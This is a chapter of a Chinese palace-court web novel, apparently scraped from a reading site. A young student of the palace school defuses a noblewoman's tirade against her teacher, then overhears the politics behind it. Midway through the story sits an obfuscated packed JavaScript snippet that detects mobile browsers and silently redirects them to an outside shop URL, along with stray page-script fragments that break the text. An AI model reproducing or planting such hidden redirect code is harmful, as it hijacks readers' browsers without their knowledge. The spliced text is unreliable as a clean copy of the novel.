一个声音自身后还未走出的花园深处传出,带着高亢的怒意,几株参天楹树挡住视线,尹慎徽本不欲多听与自己无关的闲事,正要离开,却在听到第二个人声时停下脚步。 “臣不敢。” 是何女官? 这声音尹慎徽再熟悉不过,可以说除了窦率容,她是尹慎徽在睿思宫最熟悉的人了。 听声音,似乎是何女官在被训斥,尹慎徽略走前一点,侧过树干,花园水道上的小亭前,何女官正躬身以正礼,她面前站立的是一位衣着华贵耀目的宫装贵中年美妇人,身后还有两个捧着锦盒的宫女与内监屏息低头,不敢言语。 11. 第十章 第十章 何师范跪得笔直,声音有着一丝疲倦的嘶声哑腔:“夫人言重,臣不敢冒犯夫人,适才太后銮驾尊前,奉旨行言,分忧解难,绝无私衅之意,请夫人明鉴。” 此言辞清气正,虽是迂让之语,但不卑不亢,以臣自称,尹慎徽还是第一次见何师范如此风采,即便是臣下的礼节让她躬着身子,也不失端正之态。 “何惟明,你不过是个小小的女官,安敢在我面前巧言令色?尚书内省没了人才选你上来充数,你当我不知么?你口口声声为太后分忧,可给我添堵,又如何给太后分忧?” 再看盛怒至极的宫装美妇,她大约四十年岁上下,圆面容华,尹慎徽注意到她全身无有任何金饰,发饰以淡乳色盈润的美玉簪伴以玳瑁枝钗,身不缀环佩,近乎为白的缥色宫装外压着浓似灰黑的元青色披帛,这是服丧的打扮。 先帝驾崩,京官及勋贵亲爵家中一年不许婚嫁宴饮歌吹鼓乐,前百日更要服臣对君之朝国之孝,根据日子变化,一应衣着更替规制参比为父母服丧。百日后虽然也不能穿红挂绿到处招摇,但除了先帝的亲眷皇族,其余人家均可除孝回归正常生活。 现下先帝驾崩过了有半年多时日,此美妇如此穿着,加之气焰腾盛,敢对尚书内省女官如此言语,想必和先帝有亲眷关系。 与其被发现在偷听,不如现身,至少有外人在,这人再嚣张,也未必敢真派人动手打尚书内省正儿八经的女官。尹慎徽不想何师范遭受刁难,又觉此法也没什么风险,干脆迈出一步,诶呦一声,将手中捧着的全部《说文》撒往地面。 果然众人皆不再争执,朝她看来。 宫中规矩她十分清楚,行礼也是行云流水,好像是东西撒了才在茂盛的花木后发现人,惶恐道:“宫生尹慎徽奉命经此,不想冒犯师范与贵人,还望恕罪。” 何师范看见是尹慎徽,这才略显慌张:“请夫人恕罪,此人是新晋宫生,莽撞无礼,睿思宫教导责无旁贷。”言毕示意尹慎徽上前再拜,“尹慎徽,这位乃是当朝太后之母,圣上钦封的澎国夫人,还不拜见?” 尹慎徽心下一惊,这居然是太后亲妈,怪不得要给女婿戴孝,等等,好像哪里不对,算了,现在不是玩伦理哏的时候。 她上前站在何师范身后一步,恭敬拜道:“宫生尹慎徽拜见澎国夫人。” 不等澎国夫人拧着眉开口,只听又一声自众人身后传来。 “尹慎徽,黄师范催你拿书催得紧,你却在这里,你……” 声音是洪嬷嬷的,她走出来,仿佛才看到众人似的,慌忙上前,与尹慎徽和何师范的礼数不同,她所行的,是宫人的大礼,之后才开口:“睿思宫领掌宫女洪玉娴见过澎国夫人,向夫人问安。” “这路平时一个人没有,怎么今天我找何女官问个事,一下子冒出了一老一小?” 澎国夫人冷笑的声音听得人不适,如果不是怕死第二次,尹慎徽一定要好好问问,你们家问个事用刚才的语气?刚才你和何女官都在你女儿面前,你怎么不问? 没想到,一直温柔和亲的洪嬷嬷却率先开口:“回夫人话,此地乃是睿思宫伴园,后头正是存放日常用度物件的杂库,睿思宫人往来此处甚频。这些日子睿思宫人员不够齐整,太后还在辛劳调度,宫里宫外忙上忙下,还得这刚入宫没几天的小宫生跟着跑前跑后搭把手,若有冲撞的地方,夫人还请见谅。夫人是太后至亲,睿思宫侍奉太后,自对夫人礼敬有嘉,也请夫人多多照拂,看在睿思宫为太后劳心尽力的份儿上宽宥一二,睿思宫上下必定感戴夫人恩德。” 尹慎徽心下惊赞,这就是语言的艺术了。洪嬷嬷先表示诶呀很冒犯是我们的错,但看你是太后的妈我们是太后的臣下份上,今天大家都各退一步。而且尚书内省这么缺人,太后还用不过来,你身为太后的妈不会这么不体谅自己女儿的难处吧? 何女官方才的回话立刻显得过刚有余,余裕不足。 经自己和洪嬷嬷这一闹,澎国夫人的气焰没有方才的盛意,似乎揪住何惟明只是为了撒气一般,如今有旁人在,她仿佛也有所收敛,只冷冷道:“尚书内省真该好好教教规矩了,从上到下,无一有度。何女官,你方才在太后面前的话,不若再回去想想,今后如何,可别再让太后为难。”言毕带着松了口气的随侍离去。 三个人屏息待人都走了,尹慎徽轻轻出了口气。 “别光顾着大喘气,书呢?” 刚刚一席话语管教对方以礼而退的洪嬷嬷忽然提醒。 尹慎徽慌忙跑过去捡,她低着头,看不见两人的神色,可很快,洪嬷嬷和何师范一道过来,帮她把剩下的书捡起来,三个人一人一摞,一起往睿思宫走。 “方才吓到了么?”洪嬷嬷边走边笑着看尹慎徽。 “嬷嬷,我没事,澎国夫人再凶悍,也不比刘学正早晨检查背诵时有人背错了的语气可怕。” 何女官和洪嬷嬷一齐笑了出来。 你要问一个学生,那肯定还是老师更有威慑力。尹慎徽绝没巧言令色,她说得是心里话。 “刘学正那是为你们的课业负责,能和你在这冒失冲撞的贵人一样么?”洪嬷嬷刻板的温柔里终于带了一丝不那么僵化的柔和,“再说,你当真你何师范面这么说,是说她不够严厉?” “不不不!”尹慎徽对老师之间的攀比心理非常了解,未免受到池鱼之殃,赶忙表态,“何师范教育我的书写规范我牢记在心,不敢不当做严辞。” “好了,赶紧去发书吧,别迟了下午的课。”何师范笑过后把书稳稳摞在尹慎徽双手上,“这些日子你的书写进步很大,我都看在眼里,不要懈怠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037464|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,谢谢师范,师范也要保重。” 尹慎徽领了书行了礼,绕过侧面的树林消失在视线里。 洪嬷嬷看她离去才收敛了笑,换做一副忧虑的面容转向何女官:“这是怎么事?我听和你一起当值的徐女官说,今日你开罪了澎国夫人,被揪住问责,赶忙过来,多亏有小孩子这个由头在,才好说话脱身。” “她是故意跳出来帮我的。”何惟明略略低了头,这时她不板着师范的那口气,疲态里透出一丝欣慰,“好在没连累她。” “平常也看得出这个尹慎徽在一众宫生里是有些见识与早慧的。不怪你之前说她可造。好像从前赵内尚夸你。赵内尚这些日子辛苦,顾不上旁的,轮值的事我叮嘱过,要你避开澎国夫人,怎么这回还是排在她来进宫的日子?” “嬷嬷辅佐内尚,也是辛苦了。怪我们这些后生晚辈不够争气,让二位费心劳神,我当真无能。” “哪里的话,是夫人她贪心不足,太后的意思是封侯的时缓一缓,夫人每次来都提,太后又不好直接说亲娘的不是,一问你们如何可有先例,你们就得实话实说。” “也确实是我朝没这个先例。往常皇后父亲封侯在所应当,只是衔爵不能承袭。太后的父亲是先帝所封,可惜走得早,爵位也没了。先帝驾崩后,夫人想为太后的长兄讨个侯爵,却是不行的。后族加恩,封父不封子,父死子不继,亦不能一门二侯另封。此事本朝从无例外,太后就算想恩荣家人,也不能破例。太后不能开口的事,正是我们臣下分忧之时。” “你呀,小时候就这么实诚。罢了,这事你去回了赵内尚,要她知道才好,在太后面前出了力,挡了刀,总不好没个人记功。你这些日子辛苦,自己的差事要顾着,这帮小兔崽子又不省心,少不了你点灯熬油操心。” “那也是该做的,我头次做师范,必定要做得好,方才能不辜负赵内尚的破格提拔,和孩子们看着我求知若渴的眼神。” “还求知若渴呢,吓得傻了吧她们。” …… 说完话,两个人便走开各忙各的,尹慎徽倒也不是故意偷听,而是她腰牌方才掉了,现下折返回来寻找,正巧听见。 原来何女官是为了太后搪塞亲妈被退出来挡枪。 看来不管什么时候,基层员工的死活都入不了大人物的眼。 那要怎么积极求生呢?变成更有价值的“工具”不成? 尹慎徽不想当工具,当然,她也不想被边缘化,失去实现自我价值的机会。可是这二者的平衡又在哪里? 想了又想,她忽得笑了。眼下对于自己来说最重要的还是好好学习,还没到思考这么严肃议题的时刻,还是好好想想,这书怎么补好,怎么读好才是上上之策,不然,留不下尚书内省,可供她选择的人生道路,也就没有那么多了。